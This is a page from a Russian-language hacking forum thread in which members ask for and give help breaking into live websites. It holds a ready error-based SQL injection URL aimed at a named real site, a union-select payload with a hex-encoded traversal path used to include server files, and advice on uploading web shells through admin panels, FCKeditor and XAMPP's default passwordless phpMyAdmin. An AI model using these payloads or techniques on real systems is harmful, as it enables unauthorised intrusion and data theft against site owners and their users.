Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    PHP:
    ls -la
    покажет не только листнг директории, но сhmod файлов и самой директории, из которой выполняется команда.

    PHP:
    ls -lF grep / | sed 's/\///g'
    Можно узнать текущие каталоги в этом каталоге и снова посмотреть на них chmod'ы.
     
  2. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108

    Выражаться - 'узнать chmod на директорию' не верно. chmod - это команда(программа) операционной ,nix подобной системы, с помощью которой производятся операции по изменению прав доступа к файловой системе. Правильнее говорить - Можно ли узнать какие права назначены директории etc
     
    #20042 Cennarios, 3 Apr 2012
    Last edited: 3 Apr 2012
  3. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    нужна помосчь в раскрутке,что то не получилось у меня(
    Code:
    http://www.dekret.ru/planirovanie/9m_4'.html
     
  4. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://www.dekret.ru/planirovanie/9m_4'+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+f.html
    Problem?
     
    1 person likes this.
  5. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    думал что не получается,оказывается из-за невнимательности,забыл 2 скобки поставить)
     
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    А может быть такое, что например доступа в mysql для чтения привелегий нету, а файл прив есть?
     
  7. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Может быть. Если File_priv есть, считай сервер криво настроен, поэтому, как правило, есть доступ к базе mysql.
     
  8. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Почему это криво? Например в скрипте вполне может находится функция, которая посылает запрос к базе для выгрузки в файл каких-то данных, для этого и включают file_priv.

    И вообще не вижу взаимосвязь активной file_priv и доступа к базе mysql
     
    _________________________
    1 person likes this.
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Добрый день. Точнее не очень добрый, поскольку у меня проблема, которую не удается победить, такого характера.

    File_Priv = Y, но включены магические кавычки, поэтому into file залиться не смог. Раскрыл путь. На машине стоит XAMPP, и все пути там, cудя по всему, дефолтные после установки. Естественно, могу читать файлы.

    Удалось получить доступ к админке. Вроде бы в одном из меню пропустилось расширение php, но проблема в том, что никак не получается узнать физическое расположение шелла. Единственное, что есть доступ к нему по такой ссылке, ессно, код не интерпретируется, а просто предлагается скачать файл. Можно что-то придумать? Или я что-то упускаю из вида?

    PHP:
    http://www.site.com/download_file.php?id=541
     
  10. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    по дефолту у xampp стоит phpmyadmin и для root не установлен пароль, попытай удачу :)
    а вообще если есть читалка, в чем проблема, посмотреть сорец скрипта загрузчика и узнать как и куда он заливает файлы.
     
    _________________________
    1 person likes this.
  11. asiaman

    asiaman New Member

    Joined:
    4 Aug 2011
    Messages:
    27
    Likes Received:
    2
    Reputations:
    0
    Описание:

    Есть сайт,например, site.com в корневой веб-директории лежит fckeditor 2.6.0
    в общем site.com/fckeditor/../../../../browser.html?Connector=/.../../../connector.php выдает XML ошибку, то 404, то 0. В общем порывшись в мануалах, т.к. я не могу редактировать конфиг, то дописал &ServerPath=/EXfile/. И в результате файлы стали заливаться, ошибка исчезла, и они стали в файл-манагере отображаться. НО! я ищу залитый файл - хост выдает ошибку 404 файл не найден (заливаю текстовые файлы левые). Они отображаются через файл манагер (и только они), а через веб - не доступны. Причем по идее в этой папке лежат доковские файлы залитые админом, доступные для скачивания. И права на запись есть вроде как.

    Вопросы:

    1. В общем как найти мной залитые? (путь раскрыл вызвав ошибку)
    2. Почему отобрыжаются только залитые мной файлы, а остальные (если это одна и таже директория) нет?
    3. Может что-нибудь посоветуете?

    Спасибо за ответы.
     
  12. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Обход фильтрации

    Есть запрос:
    Фильтруются:
    Как-то можно заставить вернуть тру?
     
  13. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Спасибо, за ответ. C phpmyadmin'ом оказался облом.

    New XAMPP security concept:
    Access to the requested object is only available from the local network.
    This setting can be configured in the file "httpd-xampp.conf".

    Насчет сорца скрипта загрузчика. Вот, собственно, код.

    PHP:
    <php if(isset($_get['id']))_{ include("config/connect.php");
     
    $id____=_$_get['id']; $query_=_"select_file_name,_file_type,_file_size,_file_upload_from_ps_daily_stock_where_daily_stock_id_=_$id";
    $result_=_mysql_query($query)_or_die('error,_query_failed'); list($name,_$type,_$size,_$content)_=__mysql_fetch_array($result); 
    mysql_close();
    header("content-type:_$type"); 
    header("content-length:_$size"); 
    header("content-disposition:_attachment;_filename=$name"); echo_$content; exit; } >
    В общем, я может уже что-то сильно не понимаю(бьюсь над сайтом с ночи), но, эээ... мой шелл, который я залил через админку, оказался целиком записан в mysql, и, cудя по сорцам - просто аттачится. Более, того, абсолютно все php-cкрипты, которые составляют "костяк сайта", записаны в БД. То есть таким запросом:

    PHP:
    .php?id=-1+union+select+0x2e2e2f2e2e2f6c6f6c253030
    я смог проинклудить index.php, лол. Но, к сожалению, как проинклудить шелл или выполнить его из mysql, я не знаю :( Кто-нибудь сталкивался с подобным?
     
    #20053 Га-Ноцри, 4 Apr 2012
    Last edited: 4 Apr 2012
  14. asiaman

    asiaman New Member

    Joined:
    4 Aug 2011
    Messages:
    27
    Likes Received:
    2
    Reputations:
    0
    как найти путь к файлу после заливки через fckeditor, если перебор не эффективен? (и через сайт не найти)
     
  15. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Эмм, а что мешает проинклудить свой шелл? Прямо из бд?
     
  16. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Пробовал, не получается. Шелл записывается в другую таблицу, не где скрипты сайта, и из которой у меня не получилось его подцепить. Если есть свободное время и интерес, отпиши в ПМ, скину ссылку - мне не жалко :) Может у тебя что-то получится.
     
  17. Facecontrol

    Facecontrol New Member

    Joined:
    12 Mar 2012
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    Подскажите способы заливки шелла через админку
     
  18. asiaman

    asiaman New Member

    Joined:
    4 Aug 2011
    Messages:
    27
    Likes Received:
    2
    Reputations:
    0
    http://www.google.ru/#hl=ru&newwindow=1&output=search&sclient=psy-ab&q=%D0%B7%D0%B0%D0%BB%D0%B8%D0%B2%D0%BA%D0%B8+%D1%88%D0%B5%D0%BB%D0%BB%D0%B0+%D1%87%D0%B5%D1%80%D0%B5%D0%B7+%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%BA%D1%83&oq=%D0%B7%D0%B0%D0%BB%D0%B8%D0%B2%D0%BA%D0%B8+%D1%88%D0%B5%D0%BB%D0%BB%D0%B0+%D1%87%D0%B5%D1%80%D0%B5%D0%B7+%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%BA%D1%83&aq=f&aqi=&aql=&gs_l=hp.3...1041l1041l1l1975l1l1l0l0l0l0l583l583l5-1l1l0.frgbld.&psj=1&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&fp=4d05dc9d3da3250f&biw=1366&bih=664
     
    1 person likes this.
  19. Facecontrol

    Facecontrol New Member

    Joined:
    12 Mar 2012
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    И ещё вопрос,что означает если при запросе на вывод данных из таблицы mysql выводится ошибка?
     
  20. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    это означает что произошла ошибка
     
Thread Status:
Not open for further replies.